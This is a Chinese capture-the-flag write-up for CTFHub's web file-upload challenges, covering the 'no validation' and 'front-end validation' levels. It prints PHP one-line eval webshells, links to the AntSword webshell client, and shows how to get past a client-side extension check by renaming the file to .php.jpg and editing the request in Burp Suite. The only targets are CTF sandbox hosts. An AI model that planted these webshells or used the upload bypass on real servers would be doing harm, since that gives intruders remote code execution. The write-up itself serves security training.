CTFHub题解-技能树-Web-Web工具配置-文件上传
本文先贴出 无验证 和 前端验证 的题解~
(一)无验证
1.知识点
需要用到的:
(1)一句话木马
(2)中国蚁剑
下载在这里:
https://github.com/AntSwordProject/AntSword-Loader/tree/2.0.1
https://github.com/AntSwordProjectAntSword-Loader/AntSword-Loader-v4.0.3-win32-x64.zip at 4.0.3 · AntSwordProject/AntSword-Loader
2.题解
笔者本来用的是 <?php @eval($_GET["pass"]);?>
上传发现用蚁剑连接不了~
所以重新换成POST上传了~
<?php @eval($_POST["pass"]);?>
注意:pass是密码哦~你可以自定义
![](https://image.shishitao.com:8440/ZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFZWUFBQUNCQ0FZQUFBREU4aDNwQUFBQUFYTlNSMElBcnM0YzZRQUFBQVJuUVUxQkFBQ3hqd3Y4WVFVQUFBQUpjRWhaY3dBQURzTUFBQTdEQWNkdnFHUUFBQTc4U1VSQlZIaGU3Wno5YzFUVkdjZnpSKzFQVHY4Qm5XbG4ydWtQL1dWSHFTTVlxQ0FHa0NpQnNDQldpd1ZYTUVvb2IyRzNqcEEzeEJVZGZDbkZKbGdzbHBjUXdGRXJrZkphUW9lS2lzelRjKzd1M1QxNzkrenV1WnZFM0hBK241blBQTHYzamQyYjdQbmVjNThOYlpPVGs5Sk1tRmxzNXh3UmNiWnNHZ3lhaXhjdjRnemEzdDV1UGZlSWlMTmh3MkFJUStHSE4zK0dNK2l1WGJzSUIwUk1qQVJEQWlRWUVERkpWZ1ZEVzF0YjFVcUM0YWVSWUVERUpGa09CaDBLQk1Qc1NEQWdZcElNZ2lFTWhYckJZQzdENlpkZ1FNUWtxYktnRWdvRXcreElNQ0Jpa214cHh2RGkzdVB5UXU2VXJPODdKWms5cDJUdDdsclhxZVhyKzA3S3VoMmZ5TzZCSXpYSHdJb0VBeUltU2FjZWc3bE0rMXp1dEF4K2NsTyt2SHBIYnQzK1hqNzR4eFg1L29lNzh1T1A5NnE4Zk9NN2VlT0RTOUt4OVZqTk1lNG4zOTc1a1J4NGFaOE1yZHNwZzJ0NlpmRFpIaG5zM0NvREsxK1IvbVdiWlArU0YrVE5CV3ZsejJ2M1dQY25HQkF4U1RwOUs4bGNwbDNSZTFKNkQxK1hzYSsvbGFzMzcwaDI0SUxjK2Y2dTNMdDNyOHB6RTkvSzNnK3V5THlOSXpYSENMVUZVaVBEN2VQc0U4ZFdqbjFnMDRDODFmT09ERzlVNGZCY253eXRWUUd4V2dYRXFtMHlvQUtpdjJPVDdGdTBRWG9mZnRhNlA4R0FpRW15S2hpaTFndUdKMTlWd2ZCZU1SaXUzL3BPZGg3NlVyNnpCTU9wci80bkx4K1lrTjg4ZjdUbUdLYXREUEl6RlF6YXVNY2VlbTZQbWpIc0Q4NlhacUN6UndhV3Z5ejlTemVXbG9qc2ExOHZ2Zk82clBzVERJaVlKRnNLaGlWYlRzcTJkNi9MNFJQL2tiUC91aVdmZlg1VHpsKzhKZWNuL2l2bkxpcS9MbnJvK0ZWNS9vMHY1TmRyR3ZjWTVud3dyTmt1d3h2Nmd2TVZNbUNFZ21aZit6cjUwNk5yclBzVERJaVlKRnNLaGlleUorVzFkNjdMVTcwWFpNbHJaMldwY3RuMm9rdDZ6c2dUVy80WnVGak5MTmJueCtWWHEvNVNjd3pUdVI0TXVxY3d0SGFIREhYMUJ1Y3NTditDMWJLL3ZWdDIvbmExZFgrQ0FSR1RaRXZCOEx2c1p5b1lya3BuM3pjUko2UmoreGV5ZE5zWjVlbkF0Ym16OHN0Vjc5Y2N3elFjaUhWdDlqZzArdHhjWG0rZGFiaWRiWHZiY25PWnVWdzd1UEtWSUJTR3VyYkpZT2Vyd1hrTEdWallMUVB0WGRMLytHclpNVzlWMVg2aEJBTWlKc2syUFNocHd3WG1jNDB0R0JadVBpRmIzNzRpcS9PWHBQdU5pbDE3djVMT1hlZWtjK2RZNElvZFo2UnJ6eG41eFRQdjFoekROQnhvb3dPdStielJPdHN5Mi9xbzliYVArM2hnMlV2RldjT3ExNE56Rm1WNFVaY01QcjVLZHM5N3ByeVBLY0dBaUVteUhBd2F2Y0I4cnJFRlEvdW1FN0xsNEJYNTY1bGJjdTdTVlRuN3piOER4eVl1S1NjQ3g3KzVMTytmdUNvcmUwL0p6NTgrVkhNTVV6M0ltZ090dWR6MjJQWThYR1lhWFIvVjNHWXFqd2VlL0wyYU5XUkxaNnpJOE1xWFNvK0tERDIrVXZZOHNxSzhqeW5CZ0loSk1yaVZGQkl1TkxFRnd3SVZEQytyWVBqc3k1c3lOTllqZTA2c3IvSHQ4UjN5NmZscnN2eTE0L0xRaWtMTk1VekRRZFljYktQUEc2MXJ0S3lSOVk0ZjkvSEE0dlV5dEtJU0JNT2RtK1hBMDMrUXQ1WnZLQzFSeXhZc2w3NkhueXJ2WTBvd0lHS1NiS25ITUw4VURQLzhhbElPbjk4blE2ZTMxL2pSNThOeS9OdzFXYnJsRTNsdzJWczF4d2pWQTJ5OUFkZGMzOGg2MjV2THpHM001Ylp0eldXMngrSHowUDJMVnN2QTBnMHl1R0pqMGVVdnl0Q3k1Mlg0cVhWeVlIR1hIRmk0VWdZZjY1Q2RhWUlCRVpOdmF6MkdUWi9LOXZjdXlmakVwQnk3ZUVnKy9HSmZqY2NuRHFzWncxVlorc3JIOHREeW9acGpKTUhvQU4vTWV0dnYzNWlYSFF1NlpPZWlidVZhMmJXd1czWXZYQzE3MjUrVnZmTTdwZS9SNWJMN2tRN0pyOTl0M1o5Z1FNUWsyVktQWWZFZlA1WW5YajRtaTEvOXUzUzhmbHc2dGlxM2FJOHAvMWIyc1JjL2xJYzZodVhCam9HYVk4eTI5YTcrNnhsMyt6Z1NESWlZSkZ2cU1lRDBTakFnWXBKc3FjZUEweXZCZ0loSnNxVWVBMDZ2QkFNaUpzbVdlZ3c0dlliQkFBQ1FCT2d4SkVoOXJoRVJaMXVuSGtNNGkwQkV4UHRmcHg2RGZxNXZkU0FpNHYydlU0OGhESWFKaVlrNTdaVXJWNEwzRkxkcUxsOUd4TGxvZDV0OU9kYlhxY2R3dndTRHhqVU1vdFYyOGhBeCtSSU04WFh1TVRCalFNUzVLTUVRMzFnOUJ0dGdPNWZVdUlaQnROcE9IaUltWDRJaHZ2UVlIS3JHZHZMbW9xUDUrWklxL1o5UHFYUkJSaTNiSk4zUlRJK2tNdGVzNnhDakVnenhUVVNQNGZUcG8zTDBZSjlrczkyU1BYamF1czEwcUhFTmcyaTFuVHliazVuNWNsY051bXJrbGJ2cHpYTERzbzNORzVrSGduM3U1TzNycDhYUnpTb1VIcERNcUg1K1FUS3BOa25QNUw4WGNUUVR2TVdpYWZzMnBvV1VNbml0RmZQcEhyVi9kOWs0cnorVHF1eFh0RWZTVlFGenJlcjRxZlNSU0hCZWswelYrbjVKcFk0RTYzUlloY3VyN1NtZDc0cmo2anpvd1VwYjlmNUcrcVc3dTF1NmMyTXlYdWdKSG1jTENRcEFoOWVYSzcydnJIcVA1dkpBOVY2ejZtYzZIbDBldzFZK1h3UkRmSlBWWXppcXdtRUdnOEUxQktKVll6dDV3UzlwYXJOTWhzdlUxZmhkZFJWZVhIOUJicWZWTDIvbVFubjdadXB3bU1sZ0dGWEhUNW12Ujg4ZVlyeSs2VEt2UXFGcE1LanowQjNkSnE4RzR2SkFyZ1pwTmRESEM3WXhTYmYxUzc3OHZEalFod04zUHEwSCs3RnlHT1QxWUs4Ry92QzVIdnpOSUJuTkg2a0todkMxNmVPRXJ5dVRzZ2VEZGVBY1B5TFpjTEF0RGNLNUVjdDJzNlhqNjZ2Ny9wUWo2bWVhYS9WM3ZPSG5xeUMzVStyemt3blhWeVFZNHB1c0hzTU1CNFBHTlF5aTFUeHBOL0tiNVU1cXZ0ek9OeGxVMVJWNitJdDhXMTJkaTdwYXYyMWM4WWcraGpGb0JNR1FVZnNZNjhQUWNkbS9tZmwwT0Zzb1NGb2RMN2lkWkFhRFdwZFdWM1RoNGR2VTQ3emVYaG44OHlXRFFVOVozcTYwVE04SXpPMVNhaEN3M2FweUNRWTlXNGdPSU1IQTNPcWdFaGdOQnVPWW81VkIzdFFjNUl1RGZ5VTQ2bW51WTdOWk1BU0RiVER3OWtoaHZMaXVvR2JUd2ZOQ2Y3Qk5jT1dlN1MrdkR4dzVJcmxndStLMnVjSllaVjNnTlNua2lsZjYycXg2bk0yYTc3bkorZ2F2ejdSUk1Mak1HdlRQWGcvbUk4SHZhZ09OejFlbzdiTkpNTVEzV1QyR3BNOFlSdlZWaXYycXhLWWU2TTBaZ3g3Y2crbHYrUmRlSGM4WS9JdTNrOVR6MHZwSjlXL0YyYitaWVREazFaVldXaC9YbkRHbzVYcFFOd2UwOE5aUGVNV2IwYUZoRE9qQkFLK1cxUnNvOWZZcHl3RGhFZ3o2bHNSSXpYSjloZDh2YVdVbXJ3Ym84bmx3MVRKaktGM1JtMWY4VlVabUtmcFdVNnAwbXlpNDFXUjVEUzBIZzNwOXVYQ3dEUWJoL3Fwem9NTWhtenNpNCtYQldBM2tLaHdxMjF3ejFxbnpsNnUrb3RlM2Y3SXFMTUpCZVZ3UDdzYkEzMng5czljWDJqQVlsUHBuRzcxRmFPb2FETkhQbDJrd215OTlWZ2lHK0Nicjd4aVNQR1BRVnlmNmlyM0pMMnVnM2xaUGF5TXpDajNWamU1djNqNHlId2ZxcVhOVk1EVGV2NWxoTUdUVWNUSjZIeU1ZcXU3L1J5d1BjcXJxNThIQXFvNVRFeVRxY1VxSGg3RnZTOEdnanAxVit6YStGMTBjcEJzTndMWHFZS2krLzUvT0Z3ZDl0MkNvZGxTdDA3ZWFvc3RiRDRiR0ZySzFWK2g2TUM4UC9tcXdyc3dZVklpb3g5VzNldFRBWHJWZURleFZ4MnUyM3MxbTc4ODJHNHhsbmM5WGphWFBMTUVRWDNvTURsVVRuRERYR1VOa1FBOU5TakRvRDB6NHphUzIxT1pnWFJnTTVtMFdtK0VzSU5oZVBTN1BGaXhCMGZLTW9VNHdSSU5nTkZOLzBMWmJleXVwck1PdHBGcnR4NXVkWUNoZHpZOVV6a2RWYUVRZFY3T0xRblJHRUdOOUEyYzhHT3A4dmt5Wk1VeE5lZ3lPMVR4cHpqMkdpQzYza2hvSHc5UnVKZFUwbjAxTEE3c2VzTXZOVnZWYW9vTzkyVnVvR3ZSTHk4UGJUbUcvWVRwdkpla0JOMlY4czZqMlcwUE5iQkFNeXVENGRadlBldDhlTmRNeWdraUhpZHErL0x6a3pBVkRnMXRKK3RhT2VoeXVHeS8xRzh4ZzBNR1NNNE5qcEY4ZHIvTDZtNjEzdGRuN2EzZ3JTWjAzUFpEWGZQSEFVWG9NMDJNaWVneEgreXJUMTdMWmc5WnRwNkpyQ0VTcnhuYnl5bGNsVmNzTGNpY1lPV3V2N29Nci9yeGFINHpBU2oyb2w3YlJvUkFzVXdiaG9FSWhmQjZHUTZQOW5ReG1Ddk9MRFdVVktzRXRKWE4vOVRqYWZMWTFrTk9sOWJWWHlwVjlkU0NVajFYNmtJZjdSYTE2RFNVYlhWVzIyb1N1L3JwcTdiZUZ3dHRUOXVBcEJrUGFXTitXaW9TTXZyVVVyZ3UwaDlDVVpnd2p4dTJleUswZVBVTUlQejg2UUVhQzU1VlpoZzZSbk5GY2p1N2ZiTDJyRGQrZk91ZU5tcy82VzB0NklLOS9HN0hlNTR0dkpVMm55ZW94ekxBYTF6Q0lWdHZKaTZ2dFZsQWNwN3EvZGxTRm1ma0hiclp0RXFHK2NxeHoxZGhxTUNURktRVkRDd1AxVDIyajk5ZnM2NnJOR3RPdFNEREVOMWs5aGhuV05RU2lWV003ZVhFc2Z0MjBaT20rZmh5bnV2OWNWTThhcG51UVNJSjY0QXh1bHloZDMxL3g2NnJobFh6OCsvNC9sWHBnMSsvTEdnenF2VTcxRDl4YWtXQ0liN0o2RERPc3hqVU1vdFYyOGhBeCtSSU04VTNXM3pITXNLNGhFSzBhMjhuRGhLaWJ3RlgzOXFQV2J6amovUy9CRUY5NkRJNFZBTUFYNkRFNFZBQUFuNkRINEZnQkFIeUJIb05EQlFEd0NYb01qaFVBd0Jmb01UaFVBQUNmb01mZ1dBRUFmSUVlZzBNRkFQQUplZ3lPRlFEQUYrZ3hPRlFBQUorZ3grQllBUUI4Z1I2RFF3VUE4QWw2REk0VkFNQVg2REU0VkFBQW42REg0RmdCQUh5QkhvTkRCUUR3Q1hvTWpoVUF3QmZvTVRoVUFBQ2ZvTWZnV0FFQWZJRWVnME1GQVBBSmVneU9GUURBRitneE9GUUFBSitneCtCWUFRQjhnUjZEUXdVQThBbDZESTRWQU1BWDZERTRWQUFBbjZESDRGZ0JBSHlCSG9OREJRRHdDWG9NamhVQXdCZm9NVGhVQUFDZm9NZmdXQUVBZklFZWcwTUZBUEFKZWd5T0ZRREFGK2d4T0ZRQUFKK2d4K0JZQVFCOGdSNkRRd1VBOEFsNkRJNFZBTUFYNkRFNFZBQUFuNkRINEZnQkFIeUJIb05EQlFEd0NYb01qaFVBd0Jmb01UaFVBQUNmb01mZ1dBRUFmSUVlZzBNRkFQQUplZ3lPRlFEQUYrZ3hPRlFBQUorZ3grQllBUUI4Z1I2RFF3VUE4QWw2REk0VkFNQVg2REU0VkFBQW42REg0RmdCQUh5QkhvTkRCUUR3Q1hvTWpoVUF3QmZvTVRoVUFBQ2ZvTWZnV0FFQWZJRWVnME1GQVBBSmVneU9GUURBRitneE9GUUFBSitneCtCWUFRQjhnUjZEUXdVQThBbDZESTRWQU1BWDZERTRWQUFBbjZESDRGZ0JBSHlCSG9OREJRRHdDWG9NamhVQXdCZm9NVGhVQUFDZm9NZmdXQUVBZklFZWcwTUZBUEFKZWd5T0ZRREFGK2d4T0ZRQUFKK2d4K0JZQVFCOGdSNkRRd1VBOEFsNkRJNFZBTUFYNkRFNFZBQUFuNkRINEZnQkFIeUJIb05EQlFEd0NYb01qaFVBd0Jmb01UaFVBQUNmb01mZ1dBRUFmSUVlZzBNRkFQQUplZ3lPRlFEQUYrZ3hPRlFBQUorZ3grQllBUUI4Z1I2RFF3VUE4QWVSL3dNazJ2TGRaWGpoQmdBQUFBQkpSVTVFcmtKZ2dnPT0%3D.jpg?w=700&webp=1)
下面我们看看有没有有效的上传:
访问一下我们的一句话木马目录~
页面没有报错,说明可以访问!
在蚁剑添加数据:
http://challenge-5bf3cd70198a12f8.sandbox.ctfhub.com:10080/upload/kule.php
pass
(二) 前端验证
1.知识点
需要用到的:
(1)一句话木马
(2)中国蚁剑
下载在这里:
https://github.com/AntSwordProject/AntSword-Loader/tree/2.0.1
https://github.com/AntSwordProjectAntSword-Loader/AntSword-Loader-v4.0.3-win32-x64.zip at 4.0.3 · AntSwordProject/AntSword-Loader
(3)burpsuite抓包改包
2.题解
先右键查看一下源码~
我们发现,它只允许 jpg、png、gif 格式上传~
那我们就把一句话木马改成这三种格式的任意一种吧!
那我们就上传一个 ddddhm.php.jpg
你可以任意取名~
![](https://image.shishitao.com:8440/ZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFXMEFBQUIyQ0FZQUFBQURaOExPQUFBQUFYTlNSMElBcnM0YzZRQUFBQVJuUVUxQkFBQ3hqd3Y4WVFVQUFBQUpjRWhaY3dBQURzTUFBQTdEQWNkdnFHUUFBQTVpU1VSQlZIaGU3Wno5azFQVkdjZjNqOHBQVHY4Qm5XbG4ydWtQL1NXajFCRmNxQ0F1SUNnTFMwQ3NGZ3RFY0JVb2I4dW1qckJ2aUNzNitGS0szY1Zpc2J3c0N6aHFaYVc4RnVoUVVaRjVlczVKYm5KeTdrbnV6YjdBeWU3bk0vT1o1K2ErbkUxdWNyODVlUkpvdVhuenBrUnFMbHk0Z0RQSTF0Ylc4dk9QaU9GYkR1MG9zSDk4NjJjNGc5eTVjeWZCamRoRUV0b3pYRUlic2Jra3RHZTRoRFppYzBsb3ozQUpiY1RtTWhiYTlrYWMvaExhaU0wbG9UM0RKYlFSbTh2RTBINTV6ekY1cWZ1a3JPazZLYm5kSjJYVnJyaXIxZm8xWFNkazlmWlBaVmZ2NGRnWUdLNkVObUp6bVJqYUwzU2ZrcjVQYjhoWFYrN0lyZHMveUlmL3VDdy8vSGhYZnZycFhwV1hybjh2YjM1NFVkbzJINDJOZ1ZQbk96cytsdjJ2N0pYKzFUdWtiK1ZXNlh1K1UvcVdiWmJlcGE5S3o2TDFzbS9CUy9MV25GWHk1MVc3dmNjVDJvak5aV0pvTDlsNlFyWWV1aVlqMzN3blYyN2NrWHp2ZWJuencxMjVkKzllbFdmSHZwTTlIMTZXV2V1R1ltUDRiR2xwTVU3bStscjdUSlpUTWY1RXg5dS92bGZlN254WEJ0YXA0SDZoUy9wWHFmQmVvY0o3K1JicFZlSGQwN1plOXM1Yksxc2ZmZDU3UEtHTjJGd21odmJUcjZuUWZyOFkydGR1ZlM4N0RuNGwzM3RDKytUWC81T04rOGZrTnk4ZWlZMVJ5MXFCTlpIMUV3M0JKQ2Q3L0ltTzEvL0NialhUM21lZVAwM3ZzazdwWGJ4UmVoYXVLNjBSMmR1NlJyYk9hdmNlVDJnak5wZUpvYjFnMHduWjh0NDFPWFQ4UDNMbVg3Zms4eTl1eUxrTHQrVGMySC9sN0FYbE4wVVBIcnNpTDc3NXBmeDZaZnFlZHBvUWJuVDlSRU13eWFrZXYxSDdWMjZUZ2JWZDV2bUw2TFVDVzdPM2RiWDg2ZkdWM3VNSmJjVG1NakcwbjhxZmtOZmZ2U2JQYkQwdkMxNC9Jd3VWaTdZVlhkQjVXcDdhOUUvamZEVWpYMU1ZbFY4dC8wdHNqRnBPSkp4cnJaL3FVSjNxOFJ0Vjk3RDdWMjJYL3ZhdDVqbDA2Wm16UXZhMWRzaU8zNjd3SGs5b0l6YVhpYUg5dS96bktyU3Z5TEt1YngzSHBHM2JsN0p3eTJubEtlT3E3alB5eStVZnhNWncxY0VYT2Rucms5Ylo2MnRaYjMvZmVudWR2VDVKZDM5N0RIdDl2ZTE5UzE4MWdkM2Z2a1g2bHIxbW5zZUkzcmtkMHR2YUxqMVBycER0czViSHh0TVMyb2pOWll1K2FQV0N4aGZhY3pjY2w4M3ZYSllWaFl2UzhXYkY5ajFmeTdLZFoyWFpqaEhqa3UybnBYMzNhZm5GYysvRnhyQzF3K2grTGRlcTlmU05NNTdsSk4xOUd4Mi9kOUVyeGRuMjhqZk1jK2d5TUs5ZCtwNWNMcnRtUFZjK3hwYlFSbXd1VFdoSCtFSzdkZjF4MlhUZ3N2ejE5QzA1ZS9HS25QbjIzOGFSc1l2S01lUG90NWZrZytOWFpPbldrL0x6WncvR3hyQnROSlFtWTdsV3JhZHZuUEVzSitudVcyOGNmZHRkMS92MDc5VnNPMTk2Qm9zTUxIMmx0RlNrLzhtbHN2dXhKVlhIUlJMYWlNMWxTK202TnZoQ2U0NEs3WTBxdEQvLzZvYjBqM1RLN3VOcllyNHp1bDArTzNkVkZyOStUQjVaTWhnYnc3WldLRTNsY3ExYVQ5ODQ0MWxPMHQyMzBURjc1NitSL2lXVmtCNVl0a0gyUC9zSGVYdngydElhdFc3T1l1bDY5Qm52OFlRMlluT1oyTk9lWFFydGYzNTlVdzZkMnl2OXA3YkYvUGlMQVRsMjlxb3MzUFNwUEx6bzdkZ1lyanFBYkNkcnZhMjdQYnB0VjNmWk5qck8zZGRlNTF1T2J0dkgyTGRkZmZ2N3hxbTFiZCs4RmRLN2NLMzBMVmxYZFBITDByL29SUmw0WnJYc245OHUrK2N1bGI0bjJtUkhsdEJHbkE0bTk3VFhmeWJiM3I4b28yTTM1ZWlGZy9MUmwzdGpIaHM3cEdiYVYyVGhxNS9JSTR2N1kyTTBvNzdRckdlaiswZTZ4OVVhcDlaKys5WVZaUHVjZHRreHIwTzVTbmJPN1pCZGMxZkludGJuWmMvc1pkTDErR0xaOVZpYkZOYnNxam8ra3RCR2JDNFRlOXJ6Ly9pSlBMWHhxTXgvN2UvUzlzWXhhZHVzM0tROXF2eGIyU2RlL2tnZWFSdVFoOXQ2WTJNMG16b1FJMzNiWFNkci8xcnIwMjRmajRRMlluT1oyTlBHNlMyaGpkaGNKdmEwY1hwTGFDTTJsNGs5Ylp6ZUV0cUl6V1ZpVHh1bnQxRm9BMEJ6UUU4YmpmcTVSOFR3amZXMDljd0xFUkhETk5iVDFyZjF4MlZFUkF6UFdFODdDdTJ4c2JHbTl2TGx5K1l4TlZvMWx5NGhJb1pwcktjOVhVSmJremFvM2VvN1VZaUlJZWp0YVRQVFJrUU0wNW85YlY4UU5wT2F0RUh0VnQrSlFrUU1RWHJhVHRYNFRsUXpPbHlZTFpuUy8xV1N5UTdLc0dlZjBCM09kVW9tZDlXN0RYRW1ldDk3MnFkT0haRWpCN29rbisrUS9JRlQzbjBtUTAzYW9IYXI3MFQ1dkptYkxYZFZJS3BVbEx2WkRYTGRzNC9QNjdtSHpERjNDdjd0aytMd0JoWFlEMGx1V044K0w3bE1pMlNuOHU4NUR1Zk1ReXlhOWU5ak81aFJtdnRhc1pEdFZNZDNsRzNrL3VjeWxlT0tka3EyS3Z5dlZvMmZ5UjUyM3RTdVNxNXFlNDlrTW9mTk52MUdFcTJ2dHJOMHZpdU9xdlBRb2M2QnR1cnhEZlZJUjBlSGRIU1B5T2hncDFuT0R3YjA1cFRpL25XWEhsZGVQVVo3dlZFOTFyeDZUa2ZkOVEwNDN1dHJ1dnZnZXRwSFZIQlBZV2luRFdpM2Fud255cnlBTWh2a1pyUk96V0x2cXRscmNmdDV1WjFWTDZ6YytmTCtTZXJnbnNyUUhsYmpaK3o3bzJmZERkeS95YktnQWpzeHROVjU2SEQzS2FpUUxJZXNDbEFWd28yOTZZeEl0cVZIQ3VYYnhSQ09RcldRMVVFOFVnN3FnZzVpRmNyUmJSM01kc2dQRnc1WGhYWjAzL1E0MGYzS1pmeWg3UTIxMGNPU2o0S3dGSkRkUTU3OUhwUXA3MS9OeDZjY1VzOXA5M2hmNDNXdnIwRzVuVkhYVHk3YVByTjhjRDN0S1E1dFRkcWdkcXQ5Z3E0WE5zaWR6R3k1WFVnSVBEV3pqVjVrdDlXc1Z0UXM5N1kxVXhBOWhuVkJtOURPcVdPczdkRWJRcHJqa3l4a28xbjJvR1RWZUtaRllvZTIycFpWTTZGbytCYTFYTkQ3SzgyZkwya0NTVm5lcjdST3o2VHQvVExxQXZXMVg5S0V0cDVsdXhlM0NjM3hYdkJHTjdTdE1ZY3JBV3hyQjNBeG1DdWhYa3Y3R0o5Sm9XMkMwSVJpcHd5T0ZyY05xaytoNXZaZ2o5bkh6SGp6UGVYdHhxSEQwbTMySys3YlBUaFMyV2E4S29QZHhSbXlOcStXODNuN01TZHNyM1AvYk91RmRwclp0bjd1OVd4OXlMeFc2MmhkWDVHcHI4MXA1b1ByYVljKzB4N1c3KzdwMzgxMUNOc3piUjI4NWlOZCtjV294ck9DdWRnaVViZEwyMitxdjlYSThVbEdvVjFRTTVTc0h0ZWVhYXYxT25EdHNJbmFHZEZNTWFjRDNRcGJFNzVxWGEwUTAvdG5QQmR2bXREV0g3T0hZdXYxekxoSHNzcGNRWVZuK1R5azFUUFRMczJFN1pseWxjN3NYcmRQTXFYV2gybWZlTzdEdUVOYjNiL3VLQWhOUVBaVW5RTWQzUG51d3pKYURrb1ZzaXE0Sy90Y3RiYXA4OWRkUFJQV0xZMjhDdklvTUVkMThGcWhuTFE5NmY1RjFnMXRwWDV1M2JhWGJkclFkcTh2Vy9NcHVPcGFtZDZxMDFXQm1YYXhtbmQxUGROTjh5TFErK3FQYXM2N3ZmNzQ1aDV2dDBUc1phUCtPRmdWMnZXUFR6SUs3WndhSjZlUHNVSzdxdC9zV0E0Z1ZmVnRFM3BxbkZqSXErV01EbmJyMkhHRnRobzdyNDZ0My9zc0JtaTljSXlyUTd1NjM1d3RGQU01WFdoWE82eTI2ZmFKdTM3OG9WM2Z3WHg4WnF1RHRoek1La2dyTTIwVjhHcTV1bjJoUXJkcXV3cmRxdkdTdHFjejZmSDVQa1UxWkkzcksyWWoxMnlUUzAvYnFScHpjdExPdEoyd2pRd2x0UFdMT2ZvRlNVdG1nOWtXaGJiZE92QVp6WjdOL21xNVBNdFc0N29oUHU2WnRockxGOXB1U0EvbmFnZXEzM2g3cEd5SzlraGMvM2dQSnJSTHMrQ2h5dm1vQ25UWFVUVXJIM1JuMGcxc3IrT1VoM2FONjh0MnhzMjBkVWpUMDY2dTlna2FiOThzVFh1a2ZtaFByRDBTK3lMU3RoUzZPa3pMWDd5cCsrSUdzZDNMcmdyazB2cW9sUkwxdHllelBhTERNR1A5QWlUKzY0NGs2NFMyMG94Zjg0dElmV3luK29SaXZVbm9vRmY3bDIrWG5MclFydE1lMGUwS3RSeHRHeTMxdCszUTFxSGZiWWY2VUk4YXIzTC9rN2FuTmVueDFXMlBxUE5tZmxtVDhQcW9KVDF0eGYwSTdTTmRsWTlrWmZNSHZQdE94TFFCN1ZhTjcwU1YzODJyMWcvS0haTnE4Vm14bVNrWDFIYVRqa29kdUtWOWRHQ2JkVW9UM0Nxd285dFJjTmM3UHBWbWhqMjcrT1dpQ256VEpyR1BWOHZ1RjVHK0x4T3pwZTN4R1dibFdCM1c1YkZLRjJCMG5HdlZmU2haYnpZMjNpOGtxMy95Ri85VlI5Unk4YjhwRkVNN2EyMXZ5VGh2QUxwZEVtMHordDhnSmpUVEhySmFHRTc3UXMrc28rdEhoL3VRdVYyWm5ldUE3N2ErYUhTUFQ5cWUxcnFQVDUzemVsOUU2bCtYNk5DdTNScXJkWDNOOEYrUGxITEtjRjluMmxPc0ptMVF1OVYzb2hyVjE5NW94SWtlcngxV2J6VDJQNjd4N1JPRWVzWlZZN1kxM3RBT3hRbUY5amhDOUg1YjcvRWwvZVF2NlV0SzlNdi9QZUpVamU5RU5XTHhKM3NsUzMza1Jwem84YzJvbm0xUHh3dFloNXBwQVNqVFByN2lULzZpR1hEamZlYjdwUTVkL2JpOG9hMGU2MFQvY1EzNmZYQTk3U2xXa3phbzNlbzdVWWlJSWZqZ2ZxYzl4YVlOYUxkcWZDY0tBMUYvSVZqVlMzYXQvZVVqNG5SUWZiaXB3RXk3V0FFQVFvV2V0bE1CQUVLR25yYW5BZ0NFQ2oxdHB3SUFoQXc5YlU4RkFBZ1ZldHBPQlFBSUdYcmFuZ29BRUNyMHRKMEtBQkF5OUxROUZRQWdWT2hwT3hVQUlHVG9hWHNxQUVDbzBOTjJLZ0JBeU5EVDlsUUFnRkNocCsxVUFJQ1FvYWZ0cVFBQW9VSlAyNmtBQUNGRFQ5dFRBUUJDaFo2MlV3RUFRb2FldHFjQ0FJUUtQVzJuQWdDRUREMXRUd1VBQ0JWNjJrNEZBQWdaZXRxZUNnQVFLdlMwblFvQUVETDB0RDBWQUNCVTZHazdGUUFnWk9ocGV5b0FRS2pRMDNZcUFFREkwTlAyVkFDQVVLR243VlFBZ0pDaHArMnBBQUNoUWsvYnFRQUFJVU5QMjFNQkFFS0ZuclpUQVFCQ2hwNjJwd0lBaEFvOWJhY0NBSVFNUFcxUEJRQUlGWHJhVGdVQUNCbDYycDRLQUJBcTlMU2RDZ0FRTXZTMFBSVUFJRlRvYVRzVkFDQms2R2w3S2dCQXFORFRkaW9BUU1qUTAvWlVBSUJRb2FmdFZBQ0FrS0duN2FrQUFLRkNUOXVwQUFBaFEwL2JVd0VBUW9XZXRsTUJBRUtHbnJhbkFnQ0VDajF0cHdJQWhBdzliVThGQUFnVmV0cE9CUUFJR1hyYW5nb0FFQ3IwdEowS0FCQXk5TFE5RlFBZ1ZPaHBPeFVBSUdUb2FYc3FBRUNvME5OMktnQkF5TkRUOWxRQWdGQ2hwKzFVQUlDUW9hZnRxUUFBb1VKUDI2a0FBQ0ZEVDl0VEFRQkNoWjYyVXdFQVFvYWV0cWNDQUlRS1BXMm5BZ0NFREQxdFR3VUFDQlY2Mms0RkFBZ1pldHFlQ2dBUUt2UzBuUW9BRURMMHREMFZBQ0JVNkdrN0ZRQWdYRVQrRC84OHZ1d0hyV1R5QUFBQUFFbEZUa1N1UW1DQw%3D%3D.jpg?w=700&webp=1)
把文件选择好,然后打开浏览器代理,用burpsuite抓包~
Go一下,页面200 ok 返回正常
上传成功啦~
现在我们根据路径用蚁剑连接~
http://challenge-205ed9ec00cccedf.sandbox.ctfhub.com:10080/upload/kule.php.jpg
pass
好啦~